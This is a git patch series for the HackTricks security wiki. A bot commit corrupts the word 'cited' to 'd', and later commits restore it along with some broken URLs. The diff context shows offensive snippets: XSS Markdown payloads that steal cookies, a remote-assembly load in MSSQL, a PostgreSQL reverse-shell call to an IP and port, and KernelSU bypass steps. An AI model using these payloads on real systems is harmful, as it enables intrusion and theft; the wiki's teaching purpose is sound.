From 36008a5430be3984c885740d64eea5f5f9dd8619 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 11 Aug 2026 19:03:35 +0000 Subject: [PATCH 1/3] Add content from: Shattering the Dream: When a Job Offer Becomes a Zero-Day At... --- src/network-services-pentesting/pentesting-ldap.md | 2 +- .../pentesting-mssql-microsoft-sql-server/README.md | 2 +- src/network-services-pentesting/pentesting-sap.md | 2 +- .../ksmbd-attack-surface-and-fuzzing-syzkaller.md | 4 ++-- .../ssti-server-side-template-injection/README.md | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 4cb73c19cc1..a6dab9ca54f 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -114,7 +114,7 @@ For `ldaps://` or successfully negotiated StartTLS, interception additionally re ### Bypass TLS SNI check -In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) +In the d environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 12c86bc07c3..bcc49884338 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -676,7 +676,7 @@ See [MSSQL user-defined function SQLHttp](../../pentesting-web/sql-injection/mss ### RCE with `autoadmin_task_agents` -According to the cited research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) +According to the d research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index b959fb62db4..3796b7e56eb 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -350,7 +350,7 @@ Matching Modules ### Legacy SAP AS Java UME password hashes -With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) +With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The d research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 21e26f184b4..82f221523bb 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The cited research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) +This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The d research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. @@ -286,7 +286,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b ## Throughput and Parallelism Notes - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. -- The cited setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) +- The d setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) --- diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 302de220ccc..b88fc1a96e5 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -877,7 +877,7 @@ Some workflow builders evaluate user-controlled expressions inside Node sandboxe **More information** -- Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. +- Slim uses the same Ruby SSTI payload collection d for ERB above; adapt the delimiters to the Slim rendering context. ### Other Ruby From 048569e93f0c44ce130ca03b8e23caa625413fb2 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:37:10 +0200 Subject: [PATCH 2/3] Restore text corrupted by citation cleanup --- src/generic-hacking/archive-extraction-path-traversal.md | 2 +- src/generic-hacking/tunneling-and-port-forwarding.md | 4 ++-- .../partitions-file-systems-carving/README.md | 2 +- .../svg-font-glyph-analysis-and-web-drm-deobfuscation.md | 4 ++-- .../pentesting-network/dhcpv6.md | 2 +- .../pentesting-wifi/README.md | 2 +- .../linux-basics/bypass-linux-restrictions/README.md | 4 ++-- ...oid-rooting-frameworks-manager-auth-bypass-syscall-hook.md | 2 +- .../macos-installers-abuse.md | 2 +- src/network-services-pentesting/pentesting-ldap.md | 2 +- .../pentesting-mssql-microsoft-sql-server/README.md | 2 +- src/network-services-pentesting/pentesting-sap.md | 2 +- .../ksmbd-attack-surface-and-fuzzing-syzkaller.md | 4 ++-- .../postgresql-injection/rce-with-postgresql-extensions.md | 2 +- .../ssti-server-side-template-injection/README.md | 2 +- src/pentesting-web/xss-cross-site-scripting/sniff-leak.md | 2 +- .../xss-cross-site-scripting/xss-in-markdown.md | 2 +- .../active-directory-methodology/kerberoast.md | 2 +- 18 files changed, 22 insertions(+), 22 deletions(-) diff --git a/src/generic-hacking/archive-extraction-path-traversal.md b/src/generic-hacking/archive-extraction-path-traversal.md index 988d1e0cb2b..81d05ff4f75 100644 --- a/src/generic-hacking/archive-extraction-path-traversal.md +++ b/src/generic-hacking/archive-extraction-path-traversal.md @@ -99,7 +99,7 @@ ESET reported RomCom (Storm-0978/UNC2596) spear-phishing campaigns that attached ## Mitigation & Hardening -1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the d path/symlink issues.[[1]](#references)[[5]](#references) +1. **Update the extractor** – WinRAR 7.13+ and 7-Zip 25.00+ contain fixes for the cited path/symlink issues.[[1]](#references)[[5]](#references) 2. Extract archives with “**Do not extract paths**” / “**Ignore paths**” when possible. 3. On Unix, drop privileges & mount a **chroot/namespace** before extraction; on Windows, use **AppContainer** or a sandbox. 4. If writing custom code, normalise with `realpath()`/`PathCanonicalize()` **before** create/write, and reject any entry that escapes the destination. diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 739a7cd5f6d..e192eb36faf 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -817,7 +817,7 @@ qemu-system-x86_64.exe ^ ### Launching stealthily through VBScript -TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident d above.[[1]](#references) +TrustedSec observed VBS-driven QEMU launches and Tiny Core images in the incident cited above.[[1]](#references) ```vb ' update.vbs – lived in C:\ProgramData\update @@ -829,7 +829,7 @@ Running the script with `cscript.exe //B update.vbs` keeps the window hidden.[[1]](#references) +The cited incident describes persistence in the stateless Tiny Core guest through `/opt/bootlocal.sh` and `/opt/filetool.lst`:[[1]](#references) 1. Drop payload to `/opt/123.out` 2. Append to `/opt/bootlocal.sh`: diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index 38c658971c9..ed04bdf8808 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -97,7 +97,7 @@ The partition table header defines the usable blocks on the disk. It also define | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) | +| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) | | 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | | 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | | 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md index db2699f3bc2..a8f178cc638 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/svg-font-glyph-analysis-and-web-drm-deobfuscation.md @@ -245,7 +245,7 @@ The source report used run geometry, style fields, and link metadata to preserve - In practice, books converge to a few hundred unique glyphs (e.g., ~361 including ligatures). Cache SSIM results by perceptual hash.[[1]](#references) - After initial discovery, future batches predominantly re-use known hashes; decoding becomes I/O-bound. -- The d report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) +- The cited report observed an average SSIM of about 0.95; flag low-scoring matches for manual review.[[1]](#references) ## Generalization to other viewers @@ -279,7 +279,7 @@ Adjust parameterization (book ASIN, page window, viewport) to match the reader ## Results achievable - Collapse 100+ randomized alphabets to a single glyph space via perceptual hashing.[[1]](#references) -- In the d 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) +- In the cited 920-page test, 361 unique glyphs were matched (100%) with an average SSIM of 0.9527.[[1]](#references) - The source report describes the reconstructed EPUB as near-indistinguishable from the original.[[1]](#references) ## References diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index e877f5d1f8e..288d3f62032 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -78,7 +78,7 @@ sudo atk6-flood_dhcpc6 ### Reconfigure Message Caveat -Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolid Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. +Clients are unwilling to accept **Reconfigure** messages by default; they signal willingness with `OPTION_RECONF_ACCEPT`, and valid messages must also pass the protocol's other checks.[[5]](#references) Unsolicited Reconfigure attempts are therefore unreliable unless the target's behavior is confirmed. ## References diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index 915df32d59e..6abcdeb3042 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -986,7 +986,7 @@ This method allows an **attacker to create a malicious access point (AP) that re ### MANA -Then, **devices started to ignore unsolid network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solid by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. +Then, **devices started to ignore unsolicited network responses**, reducing the effectiveness of the original karma attack. However, a new method, known as the **MANA attack**, was introduced by Ian de Villiers and Dominic White. This method involves the rogue AP **capturing the Preferred Network Lists (PNL) from devices by responding to their broadcast probe requests** with network names (SSIDs) previously solicited by the devices. This sophisticated attack bypasses the protections against the original karma attack by exploiting the way devices remember and prioritize known networks. The MANA attack operates by monitoring both directed and broadcast probe requests from devices. For directed requests, it records the device's MAC address and the requested network name, adding this information to a list. When a broadcast request is received, the AP responds with information matching any of the networks on the device's list, enticing the device to connect to the rogue AP.[[4]](#references) diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md index 6ba9420b663..c23134c363f 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md @@ -358,7 +358,7 @@ Therefore you can create a *NOP sled for Bash* by prefixing your real command wi # 16× spaces ───┘ ↑ real command ``` -If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the d router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) +If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the cited router exploit, this made uncertain string offsets usable.[[5]](#references)[[7]](#references) Practical use cases in constrained embedded targets include:[[5]](#references) @@ -366,7 +366,7 @@ Practical use cases in constrained embedded targets include:[[5]](#referenc 2. Payload channels where the attacker cannot write NULL bytes to align the payload (a general adaptation of the alignment problem).[[5]](#references) 3. Embedded devices with a small BusyBox `ash`/`sh` environment, which BusyBox documents as applets in resource-constrained systems.[[10]](#references) -> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the d router research demonstrates this combination on constrained hardware.[[5]](#references) +> 🛠️ Combine this technique with ROP gadgets that call `system()` in a controlled lab; the cited router research demonstrates this combination on constrained hardware.[[5]](#references) ## References diff --git a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index c06efd034be..ce095589ec2 100644 --- a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -66,7 +66,7 @@ The concrete KernelSU v0.5.7 case requires:[[1]](#references)[[3]](#referen --- ## Exploitation outline (KernelSU v0.5.7) -High-level steps (the d demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) +High-level steps (the cited demo video shows the public proof of concept in operation):[[1]](#references)[[2]](#references)[[10]](#references) 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks. 2) Place a genuine KernelSU Manager base.apk under `/data/app/` at a path containing your package string, then open it on a lower-numbered FD than your own base.apk. 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) to pass the checks. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index e7d43f0e88f..8ec1645bfa5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -79,7 +79,7 @@ The hierarchy of a DMG file can be different based on the content. However, for ### Execution from public directories -If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The d talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references) +If a pre- or post-installation script executes a file such as **`/var/tmp/Installerutil`** and an attacker can replace that file, the attacker can escalate privileges when the installer invokes it. The cited talks and walkthrough show variants of this insecure external-script pattern.[[1]](#references)[[3]](#references)[[4]](#references)
https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index a6dab9ca54f..4cb73c19cc1 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -114,7 +114,7 @@ For `ldaps://` or successfully negotiated StartTLS, interception additionally re ### Bypass TLS SNI check -In the d environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) +In the cited environment, resolving an attacker-chosen hostname to the LDAP service changed how the TLS connection was accepted and made an anonymously readable directory reachable. Treat this as a deployment-specific hostname/SNI and certificate-routing check, not a generic LDAP authentication bypass:[[2]](#references) ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index bcc49884338..12c86bc07c3 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -676,7 +676,7 @@ See [MSSQL user-defined function SQLHttp](../../pentesting-web/sql-injection/mss ### RCE with `autoadmin_task_agents` -According to the d research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) +According to the cited research, some vulnerable/privileged configurations can load a remote assembly through `autoadmin_task_agents`. This is version- and component-specific; verify that the internal table and Smart Admin task loader exist before treating it as a general SQL Server primitive.[[18]](#references) ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; diff --git a/src/network-services-pentesting/pentesting-sap.md b/src/network-services-pentesting/pentesting-sap.md index 3796b7e56eb..b959fb62db4 100644 --- a/src/network-services-pentesting/pentesting-sap.md +++ b/src/network-services-pentesting/pentesting-sap.md @@ -350,7 +350,7 @@ Matching Modules ### Legacy SAP AS Java UME password hashes -With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The d research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) +With authorized database access to a legacy SAP AS Java system, inspect the User Management Engine (UME) storage for password records. The cited research queried `UME_STRINGS` by its `PID` and `VAL` fields and documented values carrying metadata such as `{SHA-512, 10000, 24}`. Treat the schema and hash format as version-specific, and perform any offline password audit only within the approved scope.[[12]](#references) - Test applicable known exploits (check Exploit-DB), including the old but noteworthy “SAP ConfigServlet Remote Code Execution” attack against SAP Portal: diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 82f221523bb..21e26f184b4 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} ## Overview -This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The d research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) +This page summarizes practical techniques for exercising and fuzzing the Linux in-kernel SMB server (ksmbd) with syzkaller. It focuses on expanding the protocol attack surface through configuration, building a stateful harness capable of chaining SMB2 operations, generating grammar-valid PDUs, biasing mutations toward weakly covered code paths, and using syzkaller features such as `focus_areas` and `ANYBLOB`. The cited research enumerates specific CVEs; this page emphasizes the reusable methodology and concrete snippets that can be adapted to a lab.[[1]](#references)[[2]](#references) Target scope: SMB2/SMB3 over TCP. Kerberos and RDMA are intentionally out-of-scope to keep the harness simple. @@ -286,7 +286,7 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b ## Throughput and Parallelism Notes - A single fuzzer process (shared auth/state) tends to be significantly more stable for ksmbd and still surfaces races/UAFs thanks to syzkaller’s internal async executor. -- The d setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) +- The cited setup reached hundreds of SMB commands per second across multiple VMs and reported function-level coverage around 60% of `fs/smb/server` and 70% of `smb2pdu.c`. Treat these as environment-specific observations, not expected guarantees; function coverage also under-represents state-transition coverage.[[1]](#references) --- diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index f087f6962a8..17fb9ce6088 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -357,6 +357,6 @@ print(" drop function connect_back(text, integer);") - [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084) - [3] [PostgreSQL documentation - C-Language Functions](https://www.postgresql.org/docs/current/static/xfunc-c.html) - [4] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) -- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) +- [5] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index b88fc1a96e5..302de220ccc 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -877,7 +877,7 @@ Some workflow builders evaluate user-controlled expressions inside Node sandboxe **More information** -- Slim uses the same Ruby SSTI payload collection d for ERB above; adapt the delimiters to the Slim rendering context. +- Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. ### Other Ruby diff --git a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md index dceebba63f5..674dc67ba57 100644 --- a/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md +++ b/src/pentesting-web/xss-cross-site-scripting/sniff-leak.md @@ -4,7 +4,7 @@ ## Leak Script Content by Interpreting It as UTF-16 -If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the d challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) +If a `text/plain` response lacks the `X-Content-Type-Options: nosniff` header, a browser may accept it as a script. In the cited challenge, an attacker-controlled prefix supplies a UTF-16 byte-order mark and valid JavaScript bytes. The remaining secret is then decoded as valid identifier characters, allowing the script to expose it through a property of `window`.[[1]](#references) ## Leak Content by Treating It as an ICO Image diff --git a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index f81ef7e781e..85462cda94a 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -116,7 +116,7 @@ Fuzzing examples from [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)\ -[lol]: (javascript:prompt(document.cookie)) +[citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com) diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index 1b1b54fbb40..3cd1809ad7e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -27,7 +27,7 @@ Many services still run under user accounts with hand-managed passwords. The KDC | AES + PBKDF2 | PBKDF2-HMAC-SHA1 with 4,096 iterations and a per-principal salt generated from the domain + SPN | etype 17/18 (`$krb5tgs$17$`, `$krb5tgs$18$`) | ~6.8 million guesses/s | Salt blocks rainbow tables but still allows fast cracking of short passwords. | | RC4 + NT hash | Single MD4 of the password (unsalted NT hash); Kerberos only mixes in an 8-byte confounder per ticket | etype 23 (`$krb5tgs$23$`) | ~4.18 **billion** guesses/s | ~1000× faster than AES; attackers force RC4 whenever `msDS-SupportedEncryptionTypes` permits it. | -*Benchmarks from Chick3nman as d in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) +*Benchmarks from Chick3nman as cited in [Matthew Green's Kerberoasting analysis](https://blog.cryptographyengineering.com/2025/09/10/kerberoasting/).[[3]](#references) RC4’s confounder only randomizes the keystream; it does not add work per guess. Unless service accounts rely on random secrets (gMSA/dMSA, machine accounts, or vault-managed strings), compromise speed is purely GPU budget. Enforcing AES-only etypes removes the billion-guesses-per-second downgrade, but weak human passwords still fall to PBKDF2.[[3]](#references) From 904100d6a6bdd7054d2762eec1a567f294f055f6 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sat, 15 Aug 2026 11:38:11 +0200 Subject: [PATCH 3/3] Restore URLs corrupted by citation cleanup --- .../postgresql-injection/rce-with-postgresql-extensions.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 17fb9ce6088..3a241e0a5b7 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -309,8 +309,8 @@ select connect_back('192.168.100.54', 1234); _Note that you don't need to append the `.dll` extension as the create function will add it._ -For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ -In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ +For more information **read the**[ **original publication here**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**[[5]](#references)\ +In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\ In the same page this **exploit to automate** this technique was given:[[5]](#references) ```python